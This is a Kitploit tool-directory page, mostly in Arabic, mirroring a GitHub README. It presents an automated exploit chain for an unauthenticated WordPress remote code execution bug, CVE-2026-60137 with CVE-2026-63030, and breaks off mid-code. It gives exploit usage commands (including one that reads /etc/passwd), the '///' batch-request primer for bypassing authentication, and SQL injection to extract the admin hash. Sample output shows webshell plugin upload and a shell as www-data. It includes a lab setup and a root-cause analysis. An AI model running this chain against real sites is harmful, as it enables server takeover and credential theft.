Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-60137_CVE-2026-63030 — استغلال WordPress لثغرة تنفيذ كود عن بُعد (RCE) بدون مصادقة، يجمع بين التباس المسار (route confusion) وحقن SQL. يتضمن سكربت آلي، وإعداد بيئة مختبر، وتحليلًا مفصّلًا للثغرة. | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

استغلال WordPress لثغرة تنفيذ كود عن بُعد (RCE) بدون مصادقة، يجمع بين التباس المسار (route confusion) وحقن SQL. يتضمن سكربت آلي، وإعداد بيئة مختبر، وتحليلًا مفصّلًا للثغرة.

عرض المستودع
21منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-60137 + CVE-2026-63030 — WordPress RCE غير مصادق عليه

الثغرة: REST Batch Route Confusion + WP_Query SQL Injection → RCE كامل

CVSS v3.1: 10.0 / 10.0 — حرجة | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

المتأثر: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | التصحيح: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

---

## بدء سريع

### 1. إعداد المختبر القابل للاختراق

**المتطلبات:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. تشغيل الاستغلال```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

### 3. المخرجات المتوقعة```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

الملفات في هذا المستودع

الملفالوصف
README.mdتحليل كامل للثغرة وتوثيق الاستغلال
exploit.pyسكربت استغلال آلي (من عدم الوصول إلى RCE بأمر واحد)
docker-compose.ymlبيئة مختبر WordPress قابلة للاستغلال
chain-rce.mdتوثيق سلسلة RCE الآلية
images/لقطات شاشة من الاستغلال اليدوي

تحليل تفصيلي للثغرة

CVE-2026-60137 (مقترنة بـ CVE-2026-63030)

الثغرة: تنفيذ كود عن بُعد دون مصادقة — REST Batch Route Confusion + حقن SQL في WP_Query

CVSS v3.1: 10.0 / 10.0 — حرجة

Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. نظرة عامة

CVE-2026-60137 هي ثغرة RCE دون مصادقة في نواة ووردبريس. تجمع بين خطأين مستقلين في سلسلة استغلال كاملة من عدم الوصول إلى اختراق كامل للخادم:

CVEالخطأالدور في السلسلة
CVE-2026-63030REST Batch Route Confusionتجاوز المصادقة
CVE-2026-60137author__not_in SQL Injectionقراءة/كتابة عشوائية في قاعدة البيانات

الإصدارات المتأثرة:

  • RCE كاملة: ووردبريس 6.9.0 – 6.9.4، 7.0.0 – 7.0.1
  • SQLi فقط (يتطلب إضافة داعمة): 6.8.0 – 6.8.5
  • مُصحَّحة: 6.9.5، 7.0.2، 7.1-beta2+

شروط الاستغلال:

  • REST API عام (الوضع الافتراضي في ووردبريس)
  • لا يوجد كائن تخزين مؤقت مستمر (الافتراضي هو عدم وجوده)
  • وجود منشور واحد منشور على الأقل (المنشور الافتراضي "Hello World" موجود)
  • لا يتطلب أي حساب أو جلسة على الإطلاق

→ الغالبية العظمى من تثبيتات ووردبريس قابلة للاستغلال افتراضيًا.

2. المصطلحات

REST Batch Endpoint (/wp-json/batch/v1)

يسمح بإرسال طلبات REST API متعددة داخل طلب HTTP واحد:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

يُطابَق كل طلب فرعي مع معالِج خاص به، ولكل معالِج **استدعاء إذن** خاص به.

### WP_Query — `author__not_in`

فئة استعلام قاعدة البيانات الأساسية. تقبل معلمة `author__not_in` مصفوفة من الأعداد الصحيحة، مما يولّد جملة SQL:```sql
AND post_author NOT IN (5, 12, 23)

يمر كل عنصر عبر absint() → مع الاحتفاظ بالجزء الصحيح فقط.

wp_parse_url()

غلاف لـ parse_url(). عند استلام عنوان URL غير صالح → يُرجع WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

## 3. السبب الجذري — الخطأ A: الالتباس في مسار الدفعة (CVE-2026-63030)

**الملف:** `wp-includes/rest-api/class-wp-rest-server.php`

### الكود المصدري الضعيف:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

الآلية:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

### لماذا يتسبب `"///"` في الخطأ؟

عندما تواجه الدالة `parse_url()` في PHP السلسلة `"///"`، فإنها تحاول تحليلها وفقًا لـ **RFC 3986** — بنية URL:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

عند استلام "///"، يفسّره على النحو التالي:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

نتيجة إرجاع PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

يقوم WordPress بتمرير هذا إلى wp_parse_url() → يكتشف لا مخطط صالح، ولا مضيف صالح، ولا مسار ذي معنى → يُرجع WP_Error.

تُرجع wp_parse_url("///") قيمة WP_Error (عنوان URL غير صالح). يؤدي هذا الخطأ إلى تخطي الطلب في الحلقة التي تبني $matches، لكنه لا يُتخطى في حلقة التوزيع → تصبح المصفوفة غير متزامنة.

4. السبب الجذري — الخطأ B: حقن SQL (CVE-2026-60137)

الملف: wp-includes/class-wp-query.php

الكود المصدري المعرض للثغرة:```php

class WP_Query { public function get_posts() { global $wpdb;

تنزيل الأداة